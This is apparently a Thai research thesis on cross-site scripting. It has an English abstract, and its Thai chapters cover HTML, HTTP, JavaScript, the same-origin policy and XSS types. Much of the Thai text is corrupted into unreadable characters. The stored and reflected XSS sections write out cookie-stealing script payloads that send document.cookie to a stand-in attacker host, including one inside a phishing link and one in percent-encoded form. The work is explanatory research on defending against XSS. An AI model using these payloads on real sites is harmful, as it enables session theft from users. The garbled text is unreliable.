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 Nowadays, one of the most popular attacks on web applications is XSS 
(cross-site scripting). Since performing an attack is easy (difficult to detect) and 
depending highly on the client-side technology, protection from such attack is difficult. 
While most tools usually test with real payloads using real strings from (known) malicious 
attacks and only report the payload that is harmful to the system, the number of 
payloads alone cannot determine whether the tests are enough. To reduce the problem, 
there are many works (research) proposed to counter XSS. In this work, for cleary study 
and can see what is lack, we review those works and classify them into groups. 
Furthermore, we propose a preliminary method to give user an information to decide if a 
site is trustworthy. We propose a new testing concept based on the examination of data 
that should be filtered out. Our scheme is based on knowledge from several security 
web sites; risk elements, possible attributes and significant words. We validate our 
method with other schemes. Result shows that our scheme can inform the risk better 
than real string attack's schemes in a weak protection system, but in the strong 
protection, real string attack's schemes perform better. When one scheme does not 
inform any risk, the other one will do. We propose that both schemes must be used. In 
addition, the tool that uses our proposed scheme not only reports the payload but it also 
reports risk elements, possible attributes and significant words that have not be filtered 
out too. 
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�����
� �
���
��� (XSS : Cross-site scripting) [1-3] "�(�ก���2�
'�		��##$�"
/��� 
�������f/���1��/��2�กก���'�k+�f/���� (client) �����z���*��
����1��กs�����f)���##$�"
/������
wrx�"����"���� (Server) �$1"����"��������u�*��
������ก$�����f/�f�ก����1��$k$ "�t��
��##$�"
/������wrx�"����"����������f/�ก��
��2��	���#3
 (input) �$1"��
�#3
 (output) �'��'

����$��0��"#'��#� k+��2�
' (Attacker) 2������u�/����)����f/���1��/�� (exploit) ���ก��
�����"�(��
���$�����"*����f�wrx�"����"�����$121z+ก���ก$�	���u�������"	����"���� (Browser) 
�u�f)��
�������'���&�f�ก���u����"���ก�	k+�f/�f�*-1����  ����k$ก�1�	2�ก
�����
��
���
�����ก21
z+ก"*��f2���"	�	���
�f�
���"�(�2���
�����
��
���
��������z�	ก��ก���u����*��
��##$�"
/�������������ก [4] "/�� samy worm [5] �'�"�(�ก���2�
'�'�"ก��*���2�ก23�����*��  

�����
��
���
�������0��f�"�$� 24 /������กs�'k+�
��"/t��z�� 1$���
�, JS.Yamanner@m [6] �'�"�(�
ก���2�
'�'�"ก��*���ก�	���+"�$� (Yahoo Mail) ���"�t��k+������	"���"�$� JS.Yamanner@m 21�u�ก��

��)���	���"�$����"��� (mail address) 2�กk+��'�
��"/t���$1�u�ก�����"�$���#����ก�	
�����
�u�f)�k+��'�"���"�$�
��"/t��������"�(�ก���	ก��ก���u�����������ก ��ก2�ก�'�
�����
��
���
���
��������zก��f)�"ก�����
����'�������������ก*����'ก"�t��"	����"�����'���&�f�ก��"*��z�����#��ก��'�
�u�
�, ("/�� Google desktop [7] ) 


�����
��
���
���"�(�ก��f/���1��/��2�ก�
$�"���������
���
� (client-side script) "*��
��/���f�ก���2�
' )$�กก���u�������������
t�"����"������	���#3
*��k+�f/�"*�����$������k$

�	����ก$�	���u����"�(��
$�"���������
���
�f�"	����"����*��k+�f/��u�f)��
$�"��������
�
���
������'���&�f�ก���u����"�'�	"���ก�	�
���
� (script) �'�"ก��2�ก
��"�s	���� ����)���z�����&�
�'�k+�f/�21f/����
��"�s	�������f�*-1�����$1���&�f�ก���u����*��"	����"���� ������)����f�ก��
�v��ก��ก���2�
'
�����
��
���
����u�������ก�����f)�"����"������1��$k$�		�'��'ก�����*���+$�'�
�����	��ก$�	�����
��ก$���
t�"����"����21
����u�ก���u�"��"
�"���
�� (Escape encode) 
)�t�ก��"*���)�� (encode) f)�*���+$��+�f��+�*��"�/�'"�s���$ (HTML : Hypertext Markup 
Language) ����"	����"����21�����z���k$f)�"�(���ก �&��������f/���ก*�1#�"% �'�"	����"����
21"*��f2���"�(��
$�"���������
���
� ก��"��"
�"���
�����ก$���2��"�(�ก���v��ก�����f)�ก��
�2�
'"ก��*��� 
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�������กs
��ก���ก��*f�23�"�'���u���������ก�
�ก���ก��*����)���$1ก��
��)�23�����
f)�"2�ก����'�k+��2�
'21"����f/���1��/��"�(�"�t����'��u������ก�$1ก���2�
'
�����
��
���
����'
�+��		�'�)$�ก)$�� ����ก��f/���1��/��2�กก����1��$k$"#2 (render page) �'�
���ก��f��
�
$1"	����"���� ก��"�'�ก�
���
�*������u�������)$���+��		 "/�� "�'�ก2�ก�'$'"��
� (Element) 
<script> "�'�ก2�ก������	��
� (Attribute) "�'�ก2�กf��+�*���+�������
'� (URI scheme) "/�� 
<img src=javascript:alert(�XSS�) > ���z��ก��"*���)��*���+$f��+��		
���y�u�f)�ก�������ก��
�v��ก��
�����
��
���
����u����$u�	�กf�	��ก�-' "/�� ��##$�"
/����'�
���ก��f)�k+�f/����
�����zf/���1��/��f�ก������k$2�ก"�
���$�'*���
$�"����������� �����"/�� 	$s�
(blog),  
��ก�#'"�'� (Wikipedia), 	���� (board) �u�f)�ก��
��2)�23�������1"0��'�
���*����3����ก 

 �������f�ก����2���'� k+���2��2�������	��������2���'�����'ก��"���"�
��

���y�'������z
�u���/���")$t�	��"���r,)�"ก'���ก�	ก���2�
'
�����
��
���
����$1��"
��1)�2���	��"�(�
��1"0���ก���"#t��%�ก �������f�ก����	�t��'�กu�$��"�(��'���f2*����ก��2�����/��"2����z��
"#t��f)������z���")s������'����*��)����f�ก��/���")$t�"ก'���ก�	
�����
��
���
���"#t��"�(�
��1��/���ก�k+��'�
��21%�ก � k+��'�21#�l��"�s	��##$�"
/��� (webapp : web application) )�t�k+��'�
"ก'���*���ก�	
����$��0��*��"�s	��##$�"
/��� (web application security) ����u���f/�
��1��/��f�ก��
�����f2�u�����1�3ก
�f/�
���� ��ก2�ก�'�"#t��"�(�ก��/���	��"��
����3����ก
f�ก����	�t�ก�	
�����
��
���
���2������u�ก��#�l��"
�t����t��'�/����u�ก������	ก���v��ก��
*����##$�"
/��������ก2�ก21#�2��-�ก���2�
'�'�f/��2�
'2���������	���2�ก�'�
���y�$�����
#�2��-�z���'$'"��
� ������	��
��$1
u��u�
�,�'���221ก��f)�"ก��ก���2�
' �$1"�t���2�ก"�(�ก��
����	f������'�"����"����
��21�u�ก���v��ก��*���+$�'����2��"�(���1��/��"ก'���ก�	ก��
�����f2f�
ก������
� (trust) �$1f/����	��3�ก���v��ก��*��"�s	��##$�"
/��� 

1.2 �
�$%������&� �ก	���'
( 
 

1. "#t��f)�")s�������"�
��
�'�"�(��'���f2*����ก��2��
��
�����
��
���
�����������
/��"2� 

2. "#t���u�"���������"	t���
���'�21/���f)�*���+$k+�f/�f�ก���'�21"����f/�
�����f2 
����
� 

3. "#t���u�"���������f�ก��
��2��	ก���v��ก���'��'��+�
��ก���2�
'
�����
�  
�
���
���*��wrx�"����"���� 

1.3 � ����� �ก	���'
( 
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1. �u�ก���	��ก$3�������2��"ก'���ก�	ก���v��ก��
�����
��
���
����'��'��+�2�ก     
������"���$�' (IEEE) �$1"��'"�s� (ACM) f��1)����"�t��#� 0�
��5 2002 2�z��
"�t��
3$�
��5 2007 "������� 

2. �����"
�t����t�f�ก��
��2��	ก���v��ก��*��"����"�����'��'
��
�����
��
���
��� 
3. f�����'�21���
u����z��k$"�'��'�"ก��2�กก���u����*��"
�t����t� 
4. "
�t����t��'�#�l��"�(�"�ก"��/�� (extension) *��������ก�� (firefox) 
5. "
�t� ���t��'�#�l��*�����������	ก�	�3ก��##$� "
/���  �u������� "g#�1ก�-'

��##$�"
/����u�ก����	���#3
�$�����ก��
�	�����'�"�(�k$$�#&�ก$�	���$1�u�ก��
����	���f/�"g#�1��$���'�f/���	���#3
*�������
���ก
�"������� 

6. 
���)���*������
�f������2���'�"�(�"#'��ก��"���������f�ก��f)�*���+$
"	t���
��"#t��f/�#�2��-�
�����f2"������� 

7. "
�t����t��'�#�l��*�����%��
����+��'���	���2�ก�)$��
���yf�ก���u�ก������	
�$1ก���2��"
t�� 

1.4 �
+�� �ก	���'
( 
 

1. %�ก �*���+$"�ก����$1�����2���'�"ก'���*���ก�	ก���v��ก��
�����
��
���
��� 
2. %�ก �$�ก -1ก���2�
'*��
�����
��
���
��� 
3. ��	���"�
��
ก��/���")$t��r,)�
�����
��
���
����'�����'ก���u�"��� 
4. ��"
��1)�%�ก �������ก��/���")$t��$12���	����1"0�*��ก��/���")$t� 
5. %�ก ������'������������	ก��/���")$t�2�ก
�����
��
���
����$1%�ก �ก��/���")$t��'�

"ก'���*��� 
6. ��ก�		�$1#�l��"
�t����t�f�ก��
��2��	ก���v��ก�� 
7. %�ก �*���+$�'�"ก'���*���f�ก��#�l��"
�t����t� 
8. ����	
���z+ก
���*��"
�t����t� 
9. ��"
��1)��$1��3�k$k$ก����$�� 
10. 2���u��������#�&�"�(��+�"$�� 

1.5 ���-(.�&����	/�0	'�1/2�
�'	ก�	���'
( 
 

1. �����	���	��������2��f�/���"�$��'�k������'��'
��
�����
��
���
��� 
2. ���ก��	�'�/���f)�*���+$"#���"
���ก�k+�f/�f�ก��
�����f2����
�"�s	��##$�"
/��� 
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3. #�l��"�
��
f�ก��
��2��	ก���v��ก��
�����
��
���
���f�wrx�"����"�����+��		
f)�� 

1.6 -�����2	�� ����(	����4& 
 

"�t��)�*���������#�&�g	�	�'�z+ก�	����ก"�(� 6 	�����'� 	��'� 1 "�(�	��u� 	��'� 2 
ก$���z���� !'�'�"ก'���*��� ก���2�
'�$1ก���v��ก�� "/�� "�/�'"�s���$, "�s	��##$�"
/����$1 

�����
��
���
��� 	��'� 3 ก$���z�������2���'�"ก'���*����������u�ก��2���	��"�(�ก$3��"#t��f)�"*��f2
�����������2������1��ก 	��'� 4 ก$���z��ก����ก�		�$1#�l��"
�t����t�����&�	��*���
��
�$1"�
��
f�ก��#�l��"
�t����t�"#t��/���$��r,)�
�����
��
���
��� ����f�	��'� 5 "�(�ก��
��$���$1k$�'����2�กก����$�� �$1�����3�
t�	��'� 6 "�(�ก����3�k$ก����$���$1
*��"�����1*�������2�� ������221"�(���1��/��
�������2��
����f����

 



 

     

�����  2 
 

�567�����ก��(��2 � ก	�-'������ก	��8 �ก
� 

2.1 �567�����ก��(��2 � 

2.1.1 � .��� 9�� � [8] 
 

"�/�'"�s���$"�(�0� �����
��# (markup language) �u�)��	"�s	"#2 (web pages) 
ก$���
t�"�(�0� �f�ก��กu�)���
������� (structure) ��

��"��
� (Document) *��*���+$�'�
��+�f��+��'�"�(�*��
��� (text-based information) �����u����ก��f/�"�sก�� (text) �'��'ก��กu�)��

���)���������กu�)��"�(�����)��(headings), ���)��� (paragraphs) ���ก�� (lists) �$1
�t��y �$1����'����f�ก���u����"#���"
�� "/�� �����f�ก��
��
�� (interactive forms) ก��wr�
�+�0�# (embedded images) �$1��	"2ก
� (Object) 

"�/�'"�s���$21z+ก"*'����+�f��+�*��$�"	$ (labels) )�t��'��+�2�กก��f����*����sก 
(tags) �$1z+ก$�����	���� < > ("
�t���)�������ก����$1"
�t���)�����กก���) (angle 
brackets) 

"�/�'"�s���$�����z�&�	��)�t�กu�)��z��ก�����ก��$1
���)���*����

��"��
�
�$1�����zwr��
���'�"�(�0� ���1"0��
���
� (scripting language code) �'�21�����z���k$
ก�	ก���u����*��"�s	"	����"���� (web browsers) �$1
����1��$k$"�/�'"�s���$ (HTML 
processors) ��� 

�����u�
�,*��0� �"�/�'"�s���$
t��'$'"��
� �����'$'"��
��'������1ก�	#t��m�� 2 ���� 
����ก�������	��
��$1
��"��
� (content) �������������	��
��$1
��"��
�
�����+�f��+��		�'�
กu�)��"�/�'"�s���$2��21����k$���z+ก
��� "/�� <label attribute="value">Content</label> 

�'$'"��
�
����'��sก"����
�� (start tag) "/�� <label> �$1��sก�����3� (end tag) "/�� 
</label> ������	��
�21��+�f�����"����
��"*'��
��2�ก��sก (<label attribute="value">) ����

��"��
�
���z+ก$�����	������sก"����
���$1�����3��
�f�	���'$'"��
�กs���2u�"�(�
����'   

��"��
��$1��sก�����3� 
�������"/�� <br> "�(�
�� 

�'$'"��
��
�$1
��21�'ก���u�����'�
���ก�� ����"�(�
��	��	�ก�
�������)�t�23���1��
�*��
"�sก�� "/�� <h> )���z��)��*�� 	��	�กก��/�������k$ "/�� <b> �u�f)���ก �ก$��"�(�
��)�� 
<i> "�(�
��"�'�� �$1����'ก���u�����t���'ก "/�� <img> "#t������k$�+�0�# <textarea> �����
#t���'�f�ก����	*���+$"�(�"�sก�� 
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��ก2�ก�'�"�/�'"�s���$����'
��������zf�ก��"��"
� (escape) ��ก*�1"#t��f)�
�����z���k$��ก��"�(���ก*�1���f/�"�(���sก�'ก���� "/�� "<" �$1 "&" "�t��
���ก��f)�����k$
"�(�"�sก��&�����21z+ก"*'����+�f��+� &lt; �$1 &amp; 
��$u���	 ����ก��"��"
��'��')$���+��		 
ก$���
t� ���� "&amp;" )�t�  "&#x26;" )�t� "&#38;" กs����z���$1����k$"�(� "&" ")�t��ก�� 

 

2.1.2 � .������ (HTTP : Hypertext Transfer Protocol) [9] 
 

"�/�'�'#'"�(��#���
�$ (Protocol) f�ก��
��
���t������1)�����
$�"�����$1"����"���� 
z+ก
��
��"#t������$1��	*���+$��1"0�"#2�'�f/�"�sก��f�ก���&�	��ก������k$ (hypertext pages) 
����0� ��'�����f/�f�ก���&�	��
t�"�/�'"�s���$ ����ก
�"�/�'�'#'�u������+�	�#���
 (port) 80 

"�/�'�'#'"�(��#���
�$�'�����'ก���+�2u��z��1 (stateless protocol) �����'*���'
t�"����"����
���2u�"�(�
���2u�*���+$*��k+�f/� (user) f��1)����ก������*� (Request) �
��u�f)�k+�#�l��"�s	 
(web developers) 
���)������ก ��z��1*��k+�f/� (user'states) "�����"#t��f)�"�s	��##$�"
/���
�����z�u�����t����
��
�*��k+�f/���� ������&'�'��1��ก�$1f/�ก����ก
t�
3กก'� (Cookies) �'�"�(�
"�sก��"$sกy����"����"���������f)�"	����"����"กs	����$1���ก$�	���3ก
����"�t��"	����"����"*�����u����
�'�"����"���� "�(�ก���t����
��
��$1��ก ��z��1*��k+�f/� 


u������u�
�,*��"�/�'�'#'�$1�'ก��#+�z��ก����ก
t�
u�����"กs� (GET) �$1�#�
� (POST) 

u�����"กs�f/�f�ก�����ก������*���������#��ก��'��'#�& (path) �'������� "/�� GET 

/images/logo.gif HTTP/1.1 

u������#�
�f/�f�ก�����*���+$���u��������)$���'�กu�)����� ����f/�
+�ก�	"�/�'"�s���$

����� (HTML form) f�ก�����
�� 
�r223	��ก���u����*��"	����"�����'�
��
��ก�	wrx�"����"��������f),�f/��#���
�$"�/�'�'#'

����"����/���$���3�
t� HTTP/1.2 
 

2.1.3 ��9�� ������.
�� [10] 
 

"�s	��##$�"
/����'/t�����"�'�ก���"�s	��# (webapp) "�(���##$�"
/����'������z"*��z��
���
�����"�s	k���"�s
"��
 (network) ����"�(��'�������ก"�t���2�ก2u����*���
$�"���������'
��ก��� f/�������� ���ก�����#��ก� �$1ก�����	"�$'���"�s	��##$�"
/���21������k$f)�
���
"�$'�����$�)�t�$�����ก��"#���f�wrx��
$�"�����u�f)������z���	"�$'���)�t���#"�
*���+$���
�1��ก 
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"�s	��##$�"
/����'k$k$�
��ก��)$���+��		 "/��"�s	"�$� (Webmail), "�s	ก����1�+$
*������$�� (online auctions), ��ก�#'"�'� 	��������� �$� ����0� ��'�����f/�f�ก��#�l��  
"�s	��##$�"
/�������ก� "�"��#' (ASP), "�"��#'��
"�s
 (ASP.NET), �'2'�� (CGI), �
$�����/��� 
(ColdFusion), "2"��#' (JSP), #'"�/#' (PHP), "��"#���$ (Embperl), �#��� (Python) )�t��+	' 
(Ruby) �$1������ก21�'ก���u����
��
��ก�	m��*���+$ 

f�����
����1��� (interface) �'�"�(�����
��
��ก�	k+�f/���� ����f/�"�
���$�' "/�� 2��� 
(Java), 2����
���
� (JavaScript), ��$/ (Flash) "*�����u��������ก��"#t��ก������k$�'�
����������+�f2�$1�u����
����1��กf�ก��f/�	��ก��"#t�����f)�
���"�'�"�$���� �����"/��
ก���'�)$�"#2  ����"��2sก�� (AJAX) "��กs"�(�
�������)�����'�"ก��2�กก��f/�"�
���$�')$��
����
���ก���$1�����z�����ก���u�����'��'ก������ 

�r223	��f�ก��#�l��"�s	��##$�"
/������� ����f/�ก���u����*��"�
���$�'wrx�"����"����
"/�� #'"�/#'�$1wrx��
$�"����"/�� 2����
���
�����ก�� 

�������กs
��"�t��#�2��-�z��
����$��0��*��"�s	��##$�"
/��� �'"�t����'�
���#�2��-�
��ก����$1��2212u�"�(�
���
��2��	������&'
���y"#t��f)�����f2z��
����$��0������f�	��
ก�-'21
���#�2��-�"*����z��0� ��'�f/�#�l��"�s	��##$�"
/������� 

 

2.1.4 '	�	������& [11,12] 
 

2����
���
�"�(�0� ��
���
��'�����f),�21f/�f�ก��#�l��"�s	�$1�u������+��'�wrx�*��
�
$�"���� 2����
���
��'$�ก -1
$���ก�	2����
������zf/�����������ก��� 0� �2����
���
�
���z+กf/����������#��)$��f�"�s	��
� (website) �$1�'
��������zf�ก��"*��z����	"2ก
��'���+�
f���##$�"
/����t�� 

2����
���
������'�
�������
$���ก�	0� ��' (C) �$1����'
3-��	�
�*��������
 
(dynamic) "/�� 

ก�������
�����������
����1	3/���*��*���+$ (dynamic typing), ��	"2ก
��'��u�)����'�
")�t���z�$u���	�'��'
������#��&� (associative arrays) 
t�f/���	"2ก
�"�(��z�$u���	�'��'

������#��&����ก$���
t� obj.x = 10 �$1 obj["x"] = 10 �����'
���)���")�t��ก�� �$1

��������zf�ก���u�ก����$�����
��"#t������u���� (interpret source code) ��ก2�ก�'�   
2����
���
�������	��3�ก���u���#2��"�ก+$� (regular expression) �'�"�(�ก���u����f�ก���1	3
"�sก���'���f2���������t�)�3���$1���ก3� 
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ก��f/����#t��m��*��2����
���
�������ก21"�(�ก��"*'���r�ก�/����'�wr���+�)�t������+�f� 
"�/�'"�s���$*��"#2�$1
��
���u����ก�	��

��"��
���	"2ก
���"�$ (DOM : Document 
Object Model) *��"#2 

����ก���u�����'�#	")s����	���f�"�s	"#2����ก� ก��"���)���
���*���f)�� (new window) 
)�t��(����#������� (pop-up windows) �$1�u�ก��กu�)��*����$1
u��)���*��)���
���f)�� 
ก��"�$'����+�0�#"�t��"����
$�ก)�t�"������� ก��
��2��	
�����#3
*��"�s	����� (web form 
input value) ก���21��������"����"����"�(�
�� 

"�t���2�ก2����
���
��u������+�wrx�"	����"�����������ก���u����*�����2��"�(��������
���"�s��$1��������z
��2��	ก���u����*��k+�f/�f��+��		�'�"�/�'"�s���$�u������� �����"/�� 
��ก2�	ก��ก�
'��	���� (log keystrokes) 

�u�)��	"�t���*��
����$��0�� 2����
���
���%��"ก-.� 2 *��"�(�)$�ก 
1. �
���
�21�u����f������	s�ก�� (sandbox) [13] �'���3,�
f)�"g#�1ก���u�����'�

"ก'���ก�	"�s	"������� �����3,�
ก���u��������ก������y�������ก���������$� 
2. #���#��"����#' (SOP : Same Origin Policy) "#t�����f)��
���
�2�ก��"��������3��

"ก'���ก�	��"���t�� 
 

2.1.5 � �- �� [14] 
 

"����#'"�(������u�
�,*��ก�1	��ก��
����$��0��*���
$�"���������
���
� 
(���"g#�12����
���
�) )$�กก���u����
t���กก���u����*���
���
�)�t���

��"��
���ก

���
�$1����2�� (Origin) �u�f)��
���
������z"*��z�����#��ก�f�"�s	��
�"�'��ก�	
���������
�
��������z"*��z�����#��ก�*��"�s	��
��t�� 

z�����%2�ก"����#' 2����
���
�2�ก��
� (site) �'����
���21�����zก��f)�"ก��
���
"�'�)�����)$������� "/�� ��ก2�	ก��ก�
'��f�������� (window) �t��*-1�'�กu�$��$s�
��� (login) 
"*����f���
�)�t������zf��ก������*��$�� *���
3กก'��$1�t��y�'ก��ก 


u��������2��z+กกu�)�����ก��f/���"��"�� (Domain name) �#���
�$�$1#���
 
(	��ก�-'"	����"����	��
��21�������u�ก��#�2��-�#���
) "#2f�y21zt�����'����2��"�'��ก��กs

��"�t������ 3 �����'�ก$����������'
��")�t��ก�� 

�������กs
�� "����#'�	�� <frame> �$1 <iframe> ��ก2�กก��zt�"�(���

��"��
��'��'
����2����ก2�กก���
��u�)��	 <script> 21zt�����'����2��"�'��ก�	��"���'�"�'�ก��f/���� (����2��
"�'��ก�	"#2�'��' <script> ��+�)  ������ <script> 21z+ก�)$���2�ก��"���t�� �����"/�� �'� a.com/ 
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service ��221�'�
���
� <script src='http://b.com/lib.js'> ����21��3,�
f)� lib.js �����z
"*��z����

��"��
���	"2ก
���"�$��	"2ก
� (DOM object) *�� a.com ����
�21�����3,�

"*��z����	"2ก
�*�� b.com 2��"�(��r22��)�����'��u�f)�"ก���r,)������
�����
��
���
���*���  
"#��1�
���
�21�����z�'����2��"�'��ก�	"#2�������z��"#2���ก$����'ก������z��
���
���
���+�f�
"#2 

ก���u����*��"	����"����f��r223	��
��"����#'"�(��		��"�$"/t��zt�����)��)�t����
"/t��zt�"$� (all or nothing trust model) 
t��$���f)��
���
�21"*��z���3ก�����������������1)�t�
���21�u�ก����ก������� <frame> ����"�(��r,)��u�
�,*��k+�#�l��"�s	��##$�"
/����'�
���ก��
ก����1�3ก
�f/��r�ก�/���)�t��
���
�2�ก��"���t��"*�����u����f�"#2*��
��"�����
���ก��f)�

��
��ก������
�
���ก��2��������#��ก����f)��3��"ก'���ก��"ก��
���2u�"�(� 


�������/����)���'�"ก��2�ก��$�"/'��"#2 (malicious page) �'��"��"�'��ก�	"#2
"�v�)��� "/��f� http://www.a.com/c/index.html �u�ก�������
3กก'�*������
3กก'�21�����zf/����
f� http://www.a.com/c/widgets/index.html �$1 http://www.a.com/c/order.html �
�ก���'�21
�u�f)���������z"*��z�����2�ก http://www.a.com/about.html ���������������z�u����f��r223	�� 
"#��1���"����#'��%��"#2�'��'��"��"�'��ก�� (same-domain pages) f�ก��"*��z��
3กก'�*���'ก
"#2����
t��
���
�f� http://www.a.com/about.html �����z����� iframe "#t��"/t�������� 
http://www.a.com/c/index.html �$1"*��z��
3กก'���� [15]  

2.2 ก	�-'��� 

�����
��
���
���"�(�)����f�"�
��
ก���2�
'*��23�������1"0���$�"/'�����"2s
/�� 

(malicious injection) ก���u����
t�ก���'�"����"������	���#3
*��k+�f/�"*�����$������k$

�	����ก$�	���u����"�(��
$�"���������
���
�f�"	����"����*��k+�f/� �u�f)��
$�"��������
�
���
������'���&�f�ก���u����"�'�	"���ก�	�
���
��'�"ก��2�ก
��"�s	����"�� ����)���z�����&�*��
k+�f/�f�ก��f/����
��"�s	���ก$����$1���&�f�ก���u����*��"	����"���� ����ก���2�
'��221"�(��
�
�
���
��'����
��
3กก'�*��k+�f/�
��"�s	���������k+��2�
')�t�"�(��
���
� ()�t���sก*��"�/�'"�s���$) �'�
21���u�ก���)$��
���
���2�ก��
��t��"#t��f)������zf/����#��ก�f�����t����������"
s��'� �����'�
���*�����+�ก�	"�
���$�'*���
$�"���������
���
��$1"�v�)���*��ก���2�
'�'ก���� 
�����
�
�
���
��������z"ก��*������ก�	"�
���$�'wrx��
$�"����)$��
���
��'�����f/��$1�#��)$���������ก

t�2����
���
� 

�����'��u�f)�
�����
��
���
����
ก
���2�กก���'� "�s	��
��������ก�����
���"*��
"	����"����*��k+�f/����
��
t��)$���'���*������ก�� ����z��"�(���
����
���k+�f/���221������f)�
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�
$�"���������
���
��u����)�t�
���k���ก�������
���
� (sign script) ก��� �
�z��f/�
�����
�
�
���
���ก�	����
���
� (trusted site) k+�f/�21���f)��
���
��u��������'�����'
u�"
t�����ก�f)�k+�f/�
���	 

  )$�กก��ก���2�
'
t�k+��2�
'�u�ก������	"�s	��##$�"
/���"#t��)�����'23�����
��ก��
�2�
'��1"0�
�����
��
���
���)�t����2�ก����2���u�ก���2�
'f�$u���	
���� ���#t��m��ก��
�2�
'*��
�����
��
���
���f�"	t���
��
t�ก����%����1��/��2�กก���'�"����"����������"*���)��
���#3
�'�z+ก�����#����ก�	ก������*�ก���21���ก$�	��f)��
$�"�����ก"���ก�-'���"	�
�����
�
�
���
��� (Dom-based XSS) ������&'ก���2�
'
�����
��
���
��������z�	�����"�(�����+��		 
������
�����
��
���
��� (Stored-XSS) �'"�$

�����
��
���
��� (Reflect-XSS) �$1���"	� 

�����
��
���
�������'���$1"�'��
�����'� 

 

2.2.1 �� �&/�� �1S�&�������+� 
�u�)��	ก���2�
'�		z��� (persistent) )�t��'�"�'�ก���������
�����
��
���
���"�(�ก��

�2�
'�'��'ก��f����$�"/'�����#3
 (malicious input) "*����f�wrx�"����"���������z��� ����
t�     
"����"�����u�ก��"กs	���#3
$�f���
��"	�)�t���$��u�f)�ก�������$�"/'�����#3
"ก��*���"#'���
� 

����"�'�� ก���2�
'�		�'�����f),�"ก��ก�	"�s		����, 	$s�
)�t�"ก�
�	3
 (guestbook) ������%��
��1��/��2�ก&���/�
�*����##$�"
/����'������zf)�k+�f/���������
��"��
�*������"���u�f)�"�t���'
ก���u����#3
��"กs	�$1f/�����������'ก��
��2��	 k+��2�
'21�����z�2�
'������f���
���
�"*��
�����
�� "/�� <script>document.location='http://attackerhost.com/cgi-bin/cookiesteal. 
cgi?'+ document.cookie</script> �u�f)�"�t��k+�f/����
��t��"*����/�"#2�'��'ก���������#3

*��k+��2�
' k+�f/����
��'�"*����/�"#221����
���
�*��k+��2�
'�������
����
� 
�������"/�� f��+�
�'� 2.1 "�(�ก��f���
���
���f���##$�"
/����'�21�����"��"�2 (message) *���"#t��f)�k+�f/�
��t��
�����z"*����/�*��
������ "�t��k+�f/��u�ก��"����+"��"�2�'��'�
���
���+��
���
�21�u��������k$

��
3กก'���ก������'�")s�f��+��'� 2.1 ����*���3� 
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�+��'� 2.1 ก���2�
'�		������
�����
��
���
��� (2�ก�����3�
t�)���2�ก����	���#3
 z����"�(� 
)���2�ก��f�����#3
�'��'�
���
��w���+� )���2�ก������k$ก�������"��"�22�ก���#3
�'�f��"*���� 

�$1�3�����
t� )���2�����k$ก���u����"�t��"����+"��"�2�'��'�
���
���+�) [4] 
 

2.2.2 ���T���� �1S�&�������+� 
ก���2�
'�		/���
��� (Non-persistent) )�t��'�"�'�ก����'"�$

�����
��
���
���"�(�ก��

�2�
'�'���%��)$�กก���u����*����##$�"
/����'���	
����$�"/'�����#3
2�ก�����"*�����$��
��1��$k$��ก"�(�"#2f)�k+�f/� "�t��"	����"����*��k+�f/���	
��2�ก"#2�$��21�u�ก������
���
����
"*��f2���"�(��
���
�2�ก"����"����  ก���2�
'��1"0��'�2u�"�(�21
��������$�"/'�����#3
����� 
"����"�����'�"�(�23�����
��
�����
��
���
����3ก
���� 2����กf/�����ก�	ก����+���� (spoofing) �u�
ก���$��$��
�"#��12u�"�(�
���f)�k+�f/�"�(�k+������$�"/'�����#3
�����"����"����"���u�f)�ก���2�
'
����f),�*���'"�$

�����
��
���
���21��+�f��+��		$��
��'�"�t��
$�ก�$��21�u�ก���2�
' 
������ก21"ก��ก�	"�s	�'��'ก����	���#3
2�กk+�f/�������k$f�"	����"���� "/�� f�"�s	��##$�"
/���
�'��'ก�1	��ก��ก���u����"�t�������	ก������*� http://portal.example/index.php?sessionid= 
12312312&username=Joe �$��f/�
��2�ก username ������k$���
�����ก�"�(� 
�Welcome Joe� ��ก�� ����21�u�f)�"ก��23�����
�����
��
���
���*���z������'ก���v��ก�� "/��       
k+��2�
'�����$��
��$�������ก�	"�$�"#t��f)�"�v�)���
$�ก�������'� <a herf=�http://portal.example/ 
index.php?sessionid=12312312&username=<script>document.location='http://attacker
host.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>�>Click here to verify 
your account.</a> "�t��k+�f/��'�"�(�"�v�)���
$�ก�'�$��
�"	����"����21�u�ก�����
��*��
3กก'�*��
��
��'��'23�����
�����
��
���
��������"����"����*��k+��2�
'"#t���u�ก��	����ก
��
3กก'��������f�
���
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"�(�2����$��ก���2�
'�'���	��ก�	"�$����2u�"�(�
�����f)�k+�f/�
$�ก�'�$��
��
���2f/� <iframe> ��
/����u�f)�ก���2�
'"���������
����
�"#'���
�"���"�$����� 

�$1"#t���ก������f)�k+�f/����"ก
")s�����'ก��"�'�กf/��
���
� f����� <script>document. 
location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script
> �����z�u�ก��"*���)��f)����������ก*���
��f��+� 2.2 

 

 

�+��'� 2.2 $��
��'��u�ก��"*���)��f�����*���
���
� <script>document.location='http:// 
attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script> 
 

2���u�f)�k+�f/��������������+���������'�z+ก�����"�(��1�� �$1k+��2�
'�����z�u�ก���$�� 
$��
��"

�� (link status) ���"�t��
���ก�� [16] 

 
�������*���'"�$

�����
��
���
����'�#	")s��������
t�ก��f/���1��/��2�ก"���2�"�s�2��� 
(search engine) ���f��+��'� 2.3 
t� 1. k+�f/�
$�ก$��
�"ก��ก�����"#���)$������"����"����"�v�)��� 
2. "����"����"�v�)����u�ก����1��$k$�$��
�	����ก������*�����������u�"��"
�"���
�� 3. 
"	����"�����u�ก�����"#���)$��u���� 

 

 

�+��'� 2.3 ก���2�
'�		�'"�$

�����
��
���
���2�กก��f/���1��/��2�ก"���2�"�s�2��� [17] 
 

http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%
70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%2
7%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65%
78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%73
%74%65%61%6C%2E%63%67%69%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%
6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E 
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2.2.3 / ������ �1S�&�������+� 

t�ก���2�
'�'�f/��
���
��u�ก��"*'��"�/�'"�s���$��sก*������'ก�' ���"	�
�����
�

�
���
���"�(�ก���2�
'�'�k+�f/�����������
���
